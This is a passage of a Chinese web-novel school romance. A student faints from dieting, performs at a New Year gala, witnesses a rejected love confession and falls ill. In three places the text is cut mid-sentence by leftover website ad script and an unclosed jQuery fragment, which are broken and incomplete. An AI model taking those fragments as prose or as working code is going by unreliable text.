上节课他已经悄悄巡视了楼上的班级,抓到好几个不收课堂纪律的,半大孩子遇到事就浮躁能理解,但这是学校必须遵守纪律。 他自然从走廊最右边的班级巡查着,毕竟最左边是一班,肯定也是最不用操心的。 下课时间将近,张建军终于绕到了最后的班级,一楼的这几个班级都不错,目前为止都算乖,一班肯定更老实,他开始是这么想的。 可刚掀开保暖门帘从二班后门出来,张建军忽地想起些什么。 运动会那次偷偷点外卖的,好像就有一班的吧? 本已经要拐进楼道里张建军心念一转,掉了个方向,朝着一班后门走去。 这不看不知道,一瞧他气得吹胡子瞪眼,他刚掀起门帘,眼见着最后排一个小姑娘正躲在书的后面准备偷吃着什么,上面老师还在唾沫腾飞地讲着课呢! 这还得了! 而且他越细看,越觉得这张脸熟悉,再一琢磨,这不就是上次点外卖之一的女生吗! 张建军脸黑得像锅底,本想大声呵斥,可想起孩子们都期待着下午的活动呢,而且又是女孩子要脸,他沉着脸,跟讲台上蔡杨眼神示意别出声,大步走向骆眀昭,伸出手拍拍她肩膀,压低声音:“出来。” 感觉到肩上忽然有了动静,骆眀昭猛地回头,看到张建军一瞬间,知道她是完蛋了。 - 走廊里,骆眀昭背着手,像是低头认错,可目光却仍停留在张建军手里的巧克力。 抓她就抓她,干嘛拿巧克力啊。 自己在那纠结半天要不要吃,饿到眼花,好不容易狠下心要吃,还没吃上就被逮个正着。 “上次运动会就是你吧!”张建军气得不行,“你说说你,又一次了,早操那会儿怎么说得!就这么几节课都忍不了!” 骆眀昭想解释:“主任,你误会了,我其实……” “误会什么!你说你,每次都是为了个吃,就有那么馋?” 走廊里没有暖气,一层开着大门直冒风,原本就饿,骆眀昭就穿一件卫衣,冻得感觉眼前直发白。 她感觉现在很不好。 “主任,能不能……” 张建军气上心头,不管不顾地说:“真的,要我说你要这么爱吃,何必来普高呢?读个技校学个厨师照样是个人才,说不定还能发光发热!” 下课铃声忽然响了,整个走廊的教室一下吵嚷起来。 张建军黑着脸,大概是觉得影响不好,说:“走,跟我去办公室。” 骆眀昭这时候已经两条腿都在发抖,原地打了个趔趄。 走廊人越来越多,她声音又小又轻,说话瞬间,猛然间眼前一黑。 “主任,能不能让我先吃一口……” 张建军回身时,只听见“咚”地一声,女生已经直直倒在了地上! !!!! 43. 馒头 骆眀昭其实不想醒的,因为实在太丢脸了。 在众目睽睽下饿到昏倒,在这种小道消息流传速度堪比博尔特跑步速度的高中,大概不过半小时就传遍整个学校了吧。 尤其她能感受到病床周围围着一圈人,大概有五六个都在盯着她看,她更是不想睁开眼睛。 但梁若璇一直抱着她在哭,最重要的压到她大腿上的痒肉,她真的坚持不住,挣扎着从鼻腔里挤出一声笑,这是她最后的倔强。 这点小表情被主任很眼尖地捕捉到:“笑什么,醒就睁眼吧。” 张建军插着腰站在床边打量她,脸色实在说不上好看。 要是那会儿知道这孩子是低血糖,怎么说那块巧克力都得给她塞嘴里吃上,但好像当时是自己气急没给她解释机会的。 唉,他叹了口气,看来今天出门前没看黄历。 骆眀昭缓缓睁眼,果然床边围着一群人,医务老师、牧时桉、梁若璇、薛游、班主任宋晓。还有年级主任张建军,这是在她床边组团团建吗? 手背上插着葡萄糖,骆眀昭不太好意思地把白色被子往上拽拽,轻咳一声:“咳,那什么,小璇,你摸到我痒痒肉了。” 闻言,半俯身在骆眀昭身上的梁若璇瞬时起来,脸颊上还挂着泪珠,她随手擦去,声音还带着哭腔:“呜呜,对不起昭昭。” “正是学习的年纪,学什么不好学人家减肥。”张建军没什么好气地说教。 宋晓也不太认同地看着她。 额,这个。 骆眀昭不太好意思地抿抿唇。 医务老师看了眼她瓶里的葡萄糖,说:“估计再有个几分钟就输完了,我就在外面的办公室,叫我一声,我来给你拔针。” “谢谢老师。”骆眀昭礼貌地说一句。 梁若璇坐在床边吸吸鼻子,难过地说:“真的对不起昭昭,我不该叫你减肥的,你一点都不胖,是那件破裙子的原因,呜呜。” “对不起,我也错了。”林雨彤站在另一侧床边,肉眼可见眼眶也有些红。 “减肥的决定是我自己做的,又跟你们没关系。”骆眀昭挤出个笑来,努力宽慰着她。 牧时桉就站在梁若璇身后,额前碎发稍微有些长,挡住了他的目光,事实上骆眀昭也瞧不见,输液前医生帮她摘下眼镜放在旁边的桌上,近视眼的世界一片模糊,只能依稀分清五官的位置。 但应该是他带着自己来的,依稀之间她好像中途有几秒短暂回神,额角无意间蹭到少年的衣服,贴着胸膛感受着磅礴的跳动,还能嗅到依稀的熟悉香气,令人安心的皂香。 那个姿势应该是抱着吧,就公主抱那种,她脑中想想了一下,骆眀昭逐渐走神,脸颊爬上一丝丝红意。 张建军瞥她一眼,减肥的原因在来的路上,听着梁若璇磕磕绊绊的解释也大致明白,就是为了穿上件裙子,为了拍几张漂亮的照片,现在的小姑娘真的是。 他也没多想,只当骆眀昭脸红是因为臊得:“行了,既然行了就好好休息,下次不准这么胡来。” 说完张建军手伸到行政夹克内兜里,翻出什么东西拿给离着他最近的薛游:“你去,给她买点吃的,用完放我办公室桌上,还不舒服跟你们班主任说,叫你家长把你带回家。” 薛游愣着低下头,手里拿是一张教师饭卡,几个学生都好奇地望过来,张建军难得那张只剩严肃古板的脸上,带了点尴尬的神情。 说完,背着手,大步离开了医务室。 剩下的几人,都无助地望向宋晓,意思是该怎么办。 “没事,张主任给你们就拿着,别不好意思,”宋晓看着几个孩子,无奈笑笑,“现在怎么样?”她问的是骆眀昭。 骆眀昭赶紧点点头:“宋老师,我真的没事了,生龙活虎。” “那行,午休就在这里躺着休息吧,我跟医务老师说一声,等到下午动集合时就回班啊。”她嘱咐着,说完也推开门离开了医务室。 房间里,就只剩他们五人大眼瞪小眼。 骆眀昭不太好意思地偏开眼:“那什么,你们别都站在这啊,搞得我挺尴尬的,那不是有沙发、椅子什么的,你们都坐。” 说完她挣扎着从床上爬起来,林雨彤说着就过扶她坐好。 “饿了你就吃啊,怎么那么较真。”林雨彤哭丧着脸,又自责又生气。 这下要骆眀昭反过来安慰她了:“哎哟,你干嘛这么腻腻歪歪的,搞的我都不适应,我有吃啊,原本准备吃巧克力呢,这不就正好被主任抓个正着。” 牧时桉看看她,眸光晦涩不明:“那块巧克力是我刚上课给你的,抓到你时还没吃。” “我……” 她一下被问住。 虽然知道一块巧克力对体重不会怎样,但那时确实是陷入深深的纠结之中, “好啦,我下次真的不会啦,”她举起空闲着的手发“四”,“就这么一次,我下次再也不减肥了,绝对!不会!再减肥!” 这是她发自肺腑的真心话,这两天真的太痛苦了。 而且减肥真的,似乎不论再自信,都会不知不觉被体重pua。 薛游手里还捏着张建军的饭卡,拿起来晃晃,问道:“那这个咋办?你想吃啥啊?” “我吃!”骆眀昭愣了一秒,说,“教师窗口打饭还不用排队呢,我想吃馒头,白馒头,外加西红柿炒鸡蛋。” 饿了这么久,猛然间她脑袋里就只剩馒头,又白又软乎,一口嚼下去都是面粉香味,越嚼越甜,简直不要太幸福。 而且一食堂馒头才八毛钱一个,也算是有分寸地没有辜负张主任的心意。 薛游点头:“行那我给你打去……” “不用,我一块去吧,”骆眀昭打断他,“医务室里吃饭也不太好,况且我都吊完了,现在有劲走到食堂。” 说完,她就喊来了医务老师,替她拔针。 骆眀昭右手压着左手手背,翻个身正要下床时,忽然感觉肩膀一重,她再一回神时,就发现肩上搭着牧时桉的校服外套。 抱她来时,骆眀昭身上就穿了件单薄的卫衣,即便现在是中午,十二月底的气温还是不可小瞧。 骆眀昭望着他时,牧时桉几乎没什么表情,只说了句:“外面冷。” 压根没给她拒绝的机会,径直推门离开医务室。 什么都清楚的梁若璇只能努力掩饰住磕CP的激情,同时又转头瞥了眼似乎看透什么的林雨彤,示意她先别轻举妄动。 “没事,我大侄子抗冻,你虚着呢,可不能再着凉,”梁若璇宽慰着骆眀昭,又挽着她的胳膊,几人一起往一食堂走。 - 饿了几天,一下让骆眀昭吃饭胃还真没那么大的内存,最后只勉强塞下多半个馒头和一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 小碟菜,就宣告吃饱,不过也算为她补充了很大的体力。 吃过饭,大家就送骆眀昭回到医务室休息,可能是因为身体确实虚弱,躺在病床上没一会儿就沉沉地睡去,再苏醒就是医务老师很温柔地叫她起床,骆眀昭揉揉眼睛,还有些意犹未尽。 午休结束后,下午三点需要全体教室集合,然后按顺序各班带队去学校的大礼堂,所以在这之前算是学生们的自由时间,学校专门把这部分时间用来让那些比赛表演的学生做准备。 于是平时放眼望去没什么意思的校园,在今天会出现穿着打扮都跟平日不同的学生们。 午休刚一结束,梁若璇和林雨彤就带着裙子和化妆品奔医务室而来。 索性医务室也没人,跟老师一商量,就成了这两人大显身手的舞台。 先个人比赛再是团体比赛,跟尹菲他们的合唱还有另外一套衣服,于是她借医务老师的换衣室换了裙子,骆眀昭边穿还在感慨,减两天肥还真有用,她能明显感觉到这条裙子比前两天穿得时候轻松不少,拉链都更顺畅。 “你们,行吗?”骆眀昭有些不太确定地问。 主要是面前这两人,一手一把化妆刷,搞得阵仗挺大,平时她最多用用散粉唇釉什么的,对化妆确实不算有研究。 梁若璇扯扯嘴角:“开玩笑我是谁,美妆达人唉,你就等着瞧好吧。” 感觉她俩在自己脸上一顿操作,半个小时后,骆眀昭被递过一支唇釉,林雨彤示意她涂上。 “瞧瞧我贴单蔟睫毛的实力,太强。”梁若璇抱着胸欣赏着自己的杰作。 林雨彤收起化妆品:“我的眼线也很牛行吗?” 骆眀昭小心翼翼抿了抿唇,拿过一旁放着的化妆镜,好奇地照着。 这辈子眼睛从没这么大过,脸颊怎么看着比平时更饱满呢?鼻梁好像更高了唉,一整套灰粉色系芭比感妆容,简直百分百契合骆眀昭的长相。 这俩人,真是美妆圣手啊。 林雨彤抱着胸,信誓旦旦:“唉,就这妆,绝对能惊艳牧……” “艳惊四座哈哈。”太过得意忘形差点让她说露嘴,幸亏是梁若璇及时打断她的话,“走吧,回教室该集合啦。” 就这样回班啊?骆眀昭忽地心里升起一丝怪异。 “没事,你这算啥啊,我们班还准备跳舞呢,妆绝对更精致。”林雨彤一把拽起她来。 骆眀昭稳定心神,随意地套上校服外套,离开医务室。 她这套打扮其实挺犀利的,校服裤子没脱,套在裙子里,裙摆突兀地露出来,上面还裹着件校服外套,虽然不伦不类,但还是一路引得不少人围观。 进一班时,果不其然,收到了大家的惊呼。 “哇喔,哪里来的芭比娃娃啊?” “化妆了唉!” …… 集合时间将近,两姐妹功成身退回到二班,就留骆眀昭一个人不自在地坐在座位。 尹菲兴奋地从前边跑过来:“眀昭,你今天太漂亮了吧!没想到你化妆这么好。” “我闺蜜们画的,我可没这实力。”她说。 韩进奇坐在前边转过身,不知道是跟谁说:“唉,你看你同桌,今天大变身唉。” 骆眀昭捕捉到什么关键词,忽然间屏住呼吸,缓慢抬起头。 于是刚好对上,怔愣着,望向她的少年。 44. 软糖 心跳是控制不了的,牧时桉在这一刻才彻底明白这句话。 即便骆眀昭实际上穿得很滑稽,墨蓝色校服忽地炸出一块像是窗帘布似的布料,不伦不类,但女孩子眨巴着眼睛,眼角的碎闪像是盛夏头顶夜空的璀璨星河,唇瓣上是亮晶晶的唇彩,配合着同色系的粉嫩腮红,发丝顺滑披在肩上。 他必须承认,平静湖畔总是会因为一个人掀起阵阵涟漪,那感觉轻飘飘又透着痒,酥麻地令人喘不上气。 牧时桉的慌乱也是隐晦的,以至于无一人能发现他的异样之处。 韩进奇只当他是刚从教室外面回来,没听清自己说的话,于是又出声问了一遍:“你听见我跟你说的话了吗?” “……嗯,听见了,”他插着口袋里的手微顿,像是没什么波澜一般地说,“挺漂亮的。” 骆眀昭手垂在桌下,指尖触碰到裙摆刹那不自觉地搓碾,但仍还是故作随意洒脱:“那当然,我哪天都很漂亮好吗!” “哦,眀昭自信爆棚啊。”尹菲在一旁起哄。 牧时桉坐回座位上,外套口袋里似乎传来些沙沙响声。 短暂活跃随着教学楼响彻的铃声而宣告暂停,大家纷纷回到自己的座位,宋晓很快进班,嘱咐了几句活动注意事项后,就让体委带着大部队去大礼堂入座,留下六个参加唱歌比赛的学生。 大家都打扮了,但骆眀昭绝对是最惹眼的那个,宋晓笑着打趣:“今天很漂亮啊。” 骆眀昭不好意思地点点头。 题外话结束,宋晓让尹菲带着几人去大礼堂后台认路,先是个人比赛,昨天班主任开会帮忙抽的签,另一个独唱的男生比较倒霉,二十三个选手里是第六个,骆眀昭还算好,第十九位登场,合唱一班比较幸运,压轴出场。 尹菲带着他们从大礼堂后门进入,先去换了服装,在主持人那边点到,介绍了一下流程,比如从哪边上台哪边退场这些,尹菲作为文艺委员,会全程在后台这边陪着他俩,那个男生的顺序比较早,尹菲就让骆眀昭先回座位,快到她时再过来。 观众席依次进场,骆眀昭换下校服,好在大礼堂里都是暖气光腿也不冷,她穿着裙子穿梭于人群之中,找到了一班所在。 这边的座位也是按着班里坐的,在她身侧的也是牧时桉,留给她的位置在过道。 骆眀昭抿抿唇,把提在手里的装校服口袋放在脚边,把裙摆捋展,小心翼翼坐下。 “你第几个?”大礼堂里不断涌进学生,有些吵闹,骆眀昭没听见牧时桉的问题。 她声音高了些:“什么?我没听清。” 牧时桉扭过头瞧了她一眼,停顿片刻,然后猛地朝骆眀昭靠近,最终停在离她脸颊只有十公分左右的距离,甚至几乎能看清她皮肤上的绒毛,他眼睫颤动着,克制地压低声音:“我问你的顺序,是第几个。” 太近了,救大命! 一瞬间她脑子里也只剩下这个想法。 垂在腿上的手简直要扣紧手心里,还好这里很吵,这是她第二个想法。 若是安静的话,一定会暴露她逐渐疯狂的心率吧。 女生脸颊隐隐红着,裸露在空气中的皮肤竖起一层汗毛,那是因为耳膜还留存着少年声音的余韵,痒痒的,尾音似乎还循环绕在她的颅内。 骆眀昭刻意四处张望着,故意不去直视他的脸:“啊,我、我是第十九个。” “是吗?你加油。”牧时桉恢复了原本坐姿,斜靠着扶手,双腿随意地交叠搭着,但被发丝掩盖的耳根其实红得彻底。 唔,要不跟谁换个位置吧? 照这么下去,她估计会脸红到当场爆炸。 - 比赛正式开始,专注地看比赛的骆眀昭其实就没这个念头了。 说实话原本以为唱歌比赛观感会很无聊的,一首又一首也没什么劲,但有可能是大家选歌都很大胆,曲风活跃,一会儿抒情一会儿活泼,而且台上一个个真的是人才济济,敢参加个人比赛的选手都有点本事,台下都是欢呼声。 一班的那个男生唱的是《富士山下》,粤语标准得她都惊讶,平时不显山不露水的学霸,唱歌居然这么厉害;还有之前梁若璇说她们班有跳舞的,最后上台一看,女生拿着麦克风,边唱边跳《爱你》,台风超稳…… 但骆眀昭也没什么沮丧情绪,毕竟能不能拿到名次另说,好歹上台展示自我,也是很有勇气的。 说起来上次独自上台表演,还是幼儿园文艺汇演时候吧? 那会儿比现在怯场多了,上台前还抱着老师大哭一顿说不要唱,最后还是被连哄带骗赶鸭子上架,不过收获台下小朋友掌声那一瞬间,她又咧嘴笑了。 现在虽然知道要上台还是会紧张,但已经明白一个道理,那就是无论表演成什么样,在台下观众心里不过是走个过场,最多半天,他们就会彻底把你忘掉。 所以不要怕,骆眀昭!她在内心鼓舞着自己。 台上正是一个男生抱着吉他深情弹唱着,骆眀昭手里忽然震了震,是尹菲来的微信,告诉她还有三个节目就到她了,让她来后台。 骆眀昭心猛地跳动几下,长呼出一口气,伸手掀开盖在腿上的校服,准备起身。 “到你了?”牧时桉扬起头,用口型问她。 骆眀昭点点头。 “加油。” “好。” 骆眀昭起身,脚上的玛丽珍鞋有些穿不惯,她努力维持着平衡走上观众席楼梯,尹菲跟在她后面起身,两人一同往出口走去。 路上经过其他班,林雨彤、梁若璇、薛游和从前老同学们看到她,都挥手向她鼓励加油。 两人绕到舞台侧方上场处准备,此时主持人正在为第十八号报幕。 尹菲拍拍她的肩膀:“加油,你是最棒的!” “嗯,我会的。”骆眀昭努力抚平极速跳动着的心脏,紧紧盯着舞台。 前一个节目结束,主持人拿着手卡上台,报幕:“下一个节目,来自高二(一)班骆眀昭同学的《你的微笑》。” 迎着掌声,她提着裙摆上台,站在立麦前等待伴奏响起几秒钟,她扫过台下,最前排是评委台 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,带着美瞳她看得很清楚,骆眀昭又扫过几个位置,看到几个熟悉的面孔,最后定在少年的脸上,带着异域风情的前奏缓缓响起,灯光也打在她的身上。 丢人也就这四分半啦,没事的!骆眀昭! “喜欢用我的音调,唱出你的味道。” …… “爱情是你独特的味道,在我的心中围绕!” 真正开始唱歌,一切困扰着她的思绪都被丢在脑后,带着这样快乐的曲调,她嘴角扬着,也不知道从哪一刻起她真的将自己幻想成音乐节上的大明星,摘下麦克风,在舞台上肆意地跳动起来,享受着这一刻。 台下观众也逐渐爆发了欢呼声,跟着她的歌声一起唱起来。 歌曲结尾,她站在舞台中央,向着台下鞠了个躬,从另外一侧下了台。 走下舞台的一瞬间,尹菲在边上激动地迎接她,抓上她胳膊的瞬间,骆眀昭腿软了一下,还好有人帮忙扶着。 “你表现得太好啦!”尹菲激动地说。 “妈呀,我感觉心脏快跳出来了!” 两人快走回礼堂正门,穿过观众席小心地回到一班所在,坐回到自己位置时,骆眀昭还觉得自己无法平静。 莫名地,她忍不住头转向身旁看了一眼,没想到牧时桉却正好扭过脸来。 “唱的很好,”他说完,又将骆眀昭的手机递给她,临走时她拜托他帮忙看着,“群里他们拍了很多照片。” 骆眀昭接过手机,嘴角向上扬了扬:“谢谢。” 她打开微信置顶群聊,里面满是好姐妹们的彩虹屁。 nauxl:【妈呀,昭昭也太牛了吧!】 nauxl:【绝美嗓音,仙女下凡!】 rainy:【骆眀昭今天开始,转行当idol。】 XY:【牛!】 再往下滑,就是林雨彤发出来的抓拍,梁若璇用相机拍的暂时没传上来,二班离舞台近,占据绝佳拍照角度,薛游也时不时参杂两张,但被梁若璇狠狠教训。 nauxl:【薛游!丑照就让它在你手机里赶紧消失,不要发在群里!】 骆眀昭低着头一条条看,嘴角被越吊越高。 她正看着,从一旁忽地递过什么什么,骆眀昭偏过头,是三包软糖,攥住它的手指节分明,她顺势扬起头,牧时桉正看着她。 晚会不让带零食,可能是怕产生垃圾或是影响台上表演什么的,但这种小包的糖果不算在内,但他为什么会买三包,还是三个不同口味,葡萄、草莓和菠萝。 “给你的。”可能是怕她听不见,他再次凑过来,只是这次距离更远些。 骆眀昭还没伸手去拿,就已经被放在了她的腿上。 她愣着:“为什么给我这个?” 牧时桉轻轻开口,带着点很轻的笑意。 “本来按照国际标准,该给你一包的,不过鉴于你勇敢上台,这三包就都是你的了。” 骆眀昭怔住,这几句话,为什么这么耳熟。 好像,就是当初自己说给他的。 45. 馄饨 团体赛登场时,一班骆眀昭他们六个人在倒数第四个节目登场时,往后台转移。 原本大家是要换成统一的服饰的,但后来商量过后,觉得大家服装各异才让这首歌更添些荒诞感。 于是骆眀昭和另一个独唱的男生,一个洛丽塔一个小西服,剩下几个有穿校服的有穿休闲服,主打的就是群魔乱舞。 但也许是前面都太雷人,底下坐着的几个校领导已经想不到还能出现什么更让人“惊喜”的节目,面对骆眀昭他们六个竟然也接受良好。 个人比赛都挺和谐的,不知道怎么一到团体赛忽地画风突变,有在台上演小品的,有跳广场舞的,有唱rap,让这群四十多岁的老领导们一致决定明年必须严厉审核节目。 观众席上的高一孩子们笑得开心,还不知道他们明年要面对什么。 骆眀昭他们配合默契的唱着,到最后还把麦克风伸到台下,来了个集体大合唱,毕竟是凤凰传奇这么家喻户晓的金曲组合。 六个人跳下舞台的一瞬间,都在呵呵笑着,止都止不住。 他们从后台又绕回观众席,台上已经在宣布成绩了。 因为时间原因没有安排获奖选手上台的环节,只是由主持人宣布了一下名单,骆眀昭获得个人二等奖,一班则是成功获得全体一等奖,大概是在一群非主流里显得格外清新脱俗的原因吧。 宣读完毕,主持人宣布活动暂时结束,七点半准时在大礼堂开始高一年级表演,大礼堂里闹腾地散场,骆眀昭提着衣服站起身时,梁若璇她俩已经逆着人群冲她走过来了。 “怎么把衣服换了?”梁若璇看她已经换回来了校服,“我还准备多拍两张照片给你呢。” “小姐姐,外面零下三度,饶了我吧。”骆眀昭笑着打趣她。 林雨彤帮忙接过她手里装裙子的袋子:“都拿第二了,怎么能您自己拿衣服,小的给您拿。” “滚啊,林雨彤。” 三个女生这边笑着走出食堂,牧时桉没说话,安静地跟在她们身后,礼堂门口薛游正四处张望着寻找他们的身影。 几个人汇合后,一同便往二食堂的方向走过去,外面冷得要命,大家一致决定吃碗小馄饨,在配几个小笼包什么的。 找到座位后,大家非要把骆眀昭留下来,美其名曰“看家”,人这么多万一位子被别人占了怎么办,但还有另一层原因是,她中午刚晕倒过,能照顾些就多照顾些。 骆眀昭心里明白他们的好意,感觉暖洋洋的。 大家走后,骆眀昭独自留在座位上,身旁长椅上放着装裙子的袋子,一闪念,她忽然伸手进去,从袋子的最底部摸出三包软糖,小心翼翼地塞进校服口袋里,又努力将那一块凸起的衣料抚平。 这是牧时桉给她那三包糖果,她没吃。 骆眀昭撑着下巴又回忆起那一幕,唇角她在不经意间越翘越高。 她当时问:“所以你是专门给我准备的?” “嗯,礼尚往来。”他就这么直白承认,没有任何伪装,堂堂正正与他眼底耀眼的星辰如出一辙。 刚认识不久那阵,骆眀昭曾旁敲侧击问过好姐妹们,觉得牧时桉是个怎样的人。 梁若璇和林雨彤两人反应几乎一模一样,懒散冷酷哥,似乎对什么都不在乎,但人靠谱是个值得深交的朋友。 但从未有一人提及过,牧时桉身上那股蓬勃无畏少年感。 在骆眀昭的眼里,这个名叫牧时桉的少年,善良、敏锐、细心,又偶尔会透出股于自身气场不相符的执拗。 似乎正是那股连他本人都未曾意识到的自我,就这么吸引住了她的目光。 “你的馄饨加辣椒油,”薛游端着两个碗,将其中一个飘着红油的碗放在骆眀昭前。 林雨彤也端着碗坐下,唠叨着:“鉴于你的身体情况,没加那么多辣椒。” 她正说着,牧时桉端着自己碗,坐在骆眀昭身侧。 骆眀昭收回视线,嘴角扬了又扬。 - 高一的节目是在大半个月前就开始准备的,种类丰富,舞台的学弟学妹脸上还带着稚嫩,展现着他们的青春活力。 骆眀昭在坐在观众席上看着,不禁露出姨母笑来,她看得认真。 牧时桉对此兴致缺缺,耳朵上挂着蓝牙耳机低头玩着手机,手心无意间震了一下,与此同时屏幕顶端出现微信提醒,指尖点开他目光扫过后,起身。 离开座位必须经过骆眀昭腿前,一道黑影落下,她顺势扬起头,小声说:“你要出去?” “嗯。”他轻一声点头,没什么情绪。 大概是去洗手间吧,骆眀昭不太在意,将注意力全情都投入在表演上。 走上台阶,他跟坐在后排的班主任宋晓打了声招呼,转身向着礼堂出口走去。 推开大礼堂门口玻璃门,迎面就是一阵刺骨的夜风袭来,牧时桉顶着这股风,就往侧边长廊处走去。 越往进走,灯光愈发昏暗,直到在凉亭里,几乎只能靠高三教学楼里的光来照明,若是平日,定会有时不时来这边遵守的领导,来抓那些抑制不住青春躁动的小情侣的,不修路灯估计也是他们故意为之,引蛇出洞,一捉一个准。 但今天,所有高一高二学生都在享受晚会,大概没人会想到这边有人吧? 牧时桉手插在外套兜里,止步在阴影中的身影之前:“有事吗?” 他语气平淡,丝毫听不出情绪,即便他几乎能猜到自己被叫出来的原因。 站于他身前的人闻声顿了片刻,而后缓慢地转过身,晦暗凉亭下,胡晓月紧咬着唇,垂着身侧的手紧紧攥着,很轻地吐出了口气,语气中似乎还带着一丝小小的期待与祈求。 “在我问你之前,你能不能先回答我一个问题。” “好。”他回答。 胡晓月不敢仰头看他,一字一句:“你知道,我的名字是什么吗?” 牧时桉虽没去刻意好奇她会问出什么问题,但还是被她问愣了一秒。 “知道,胡晓月。”他说。 得到这个答案,胡晓月似是解脱,或是欣喜,总之被紧咬的下唇终于舍得放开。 “幸好。”她很小声地念着,是仅有她自己可以感受到欢呼。 凉亭里即便被两侧建筑住遮挡住凛冽冷风,但仍旧很冷,牧时桉却仍清冷冷站在那,无波无澜。 胡晓月终于做好了决定:“我是想告诉你,牧时桉我喜欢你。” 牧时桉垂下眼,淡淡地说:“谢谢,但是抱歉。” 周围几乎听不见一点声音。 “我知道的,”周遭寂静,女生的声音带着点点微弱的哭腔,“不过还是谢谢你,愿意出来见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我。” “没事。”他说。 胡晓月将手中的未曾暴露于人前的信封,背着手藏于身后,压着住奔涌上来的酸涩,努力扬起笑容,朝着他点了下头,又朝着走廊另一端转过身。 离开前,她还是没能忍住留下了一句:“提前祝你新年快乐。” 她迈出几步后,却听到身后的那个人说。 “谢谢,新年快乐。” 压制许久的眼泪在这一刻还是没能止住,冰凉的眼泪随风落下,她大步离开了长廊,也在跟心底跟这个苦涩的夜晚说着最后的道别。 …… 牧时桉从他来时的方向离开。 圣诞夜下了很大的一场雪,积雪到今天也没能完全消散,直到他目光略过一处,停顿片刻后,冲着一棵树坑里堆着雪的粗树后方,唤道:“你准备在这里站一晚上的岗?” 话落,梁若璇讪讪笑着,从树干藏身处猛地露出个脑袋来:“大侄子还是这么慧眼如炬啊,你怎么发现我的?” 牧时桉看向她脚下新的雪地棉靴:“没记错的话,这是你上周末刚买的。” 该死,这个居然没藏住。 她垂下脑袋看看脚上的鞋子。 “你眼真尖。”梁若璇笑着说。 牧时桉插着兜,往大礼堂方向走:“你都听到什么了?” “听到个鬼,我离你们十万八千里远唉,”梁若璇抱着胸嘀咕,“不过我也能猜出来,是胡晓月跟你表白了吧?” 牧时桉停下脚步,偏过头看她,挑了挑眉:“你怎么知道?” 梁若璇撅着嘴没说话,牧时桉看了她一会儿,大概是猜到什么。 “所以你早就知道了?” 都到这会儿,梁若璇也没有撑着不承认的必要:“差不多吧,主要人家小姑娘的隐私,也不太方便告诉你的啊。” 越往礼堂走,走上甬道,两侧的路灯愈发明亮,梁若璇已经能看清牧时桉的表情。 她冷得哈了口气,搓搓手,终于开口问:“你就没什么想法?” “什么想法?”牧时桉似乎没听懂她的画外音一般。 梁若璇扬起脑袋,瞧着他就来气,索性插着腰,走到前边截停他:“你别装没听懂啊!你明明知道我说的是你喜欢昭昭的事!你看看刚刚人家女生都有勇气大大方方跟你告白,你一大老爷们还跟这玩暗恋!” 牧时桉没看她,插着兜绕过面前的“阻碍”。 梁若璇被无视更生气了,脑袋上的火恨不得窜上天。 “牧时桉你——” 牧时桉忽地轻笑了笑:“现在不是好时机。” “那什么时候是!” “等到她做好准备接受的那天。”他说。 - 元旦晚会在欢乐中落幕,但只有高二学生隐隐失落,因为大家都知道,这是最后一次了,高中大概再也不会有这样无忧无虑时间属于他们。 骆眀昭掩下心里的落寞,跟在好姐妹的身边回教室背书包放学。 作业早已被她迫不及待收拾好,只需要提上书包就可以离开。 牧时桉还在安静地收拾着书包,骆眀昭把围巾手套带好,靠着暖气取暖等他的同时,闲来无事四下乱瞅。 她随意地偏过头却发现,角落里,原本放着的那个用彩纸包裹着的扁盒子,没了踪迹。 46. 猕猴桃 元旦假期的第一天,一早睡醒骆眀昭就发起了高热。 眼前迷迷糊糊的,像是附上一层朦胧的滤镜,本能意识到自己发烧的她果断选择向父母求援。 骆齐彼时正在厨房摘豆角,接到自家闺女的电话还愣了一秒。 奇怪,她人不是在家吗? “就离十步远你也至于给你爹打个电话。”他接起来没好气地说。 听筒里的骆眀昭声音又小又虚:“爸,我需要帮助——” 放下手里的活骆齐立马就往女儿卧室赶,推开房门见到的就是烧得脸颊泛红的骆眀昭,可怜巴巴地靠在床头。‘ “怎么了这是?”他赶紧问。 骆眀昭嗓子已经哑到讲不出话来,比划着手语示意自己似乎是发烧了。 骆齐赶紧去找家里的体温枪,最后一量,烧到三十九度。 这才赶紧穿上衣服,开车带着她去了绮大二附。 老东家二附虽然离家有段距离,但毕竟在那工作了这么多年,熟人也不少能方便照顾着点,更何况今天刚好王乐萍约了病人,上午也在医院。 即便是节假日里,医院里仍旧人满为患,踏进医院门的一刻,透过口罩都能依稀闻到这股子熟悉的消毒水味,骆眀昭还是不免得皱皱眉,果然她最讨厌这种味道。 正好有个朋友今天在发热门诊坐诊,骆齐联系他后,带着骆眀昭验血拍片,好再最后检查后没有感染病毒,也没有肺炎,就只是简单的风寒感冒,是这两天减肥再有昨天穿着单薄的裙子到处跑的原因。 开了两瓶水,正好王乐萍那边也刚结束,就带着她去医生值班室输液,说起来自从她年初升主任后,骆眀昭还没来过亲妈的新办公室,路过时正好瞧了一眼。 “不错啊,妈,办公室挺大。”她哑着嗓子,跟叫宝娟的安小鸟一样。 科室小护士正来帮忙扎针,王乐萍睨她一眼:“行了,少说两句,跟鸭子一样。” 谁是鸭子,骆眀昭不满地撅撅嘴。 王乐萍差点没笑出声来,更像了。 “行了,你在这好好睡觉,我去食堂给你打饭。”王乐萍送走护士小姐,安顿好她便套着羽绒服离开。 骆齐在医院里跟旧友叙旧,值班室里也没别人,她躺在床上,望着天花板。 上次这么躺在医生值班室里还是小学时候吧?也是生了什么病,中午被王乐萍接到医院吊水,但他们那会儿没时间管她,就只能把她独自留在这。 那会儿她还没手机呢,就只能无聊地望着天花板数吊顶上的格子,数了一遍又一遍。 正想着,手机忽地响了,一只手被针头固定着,她只能费劲地用另一只手去够。 三姐妹的小群里,梁若璇说。 nauxl:【下午都有活动吗?要不要出来逛街?】 rainy:【我没事,可以。】 骆眀昭只能拍了张吊瓶的照片,发在群里。 nauxl:【怎么了昭昭!你这是在哪呢?】 昭昭是我:【着凉发烧了,在我妈医院里吊水呢,没事。】 梁若璇林雨彤关心她好久,聊到王乐萍带着饭和骆齐回来,才放下了手机。 - 感冒这种病就是这样,反复地折磨人,看着不痛不痒的小问题,就能扰得人整夜睡不好觉。 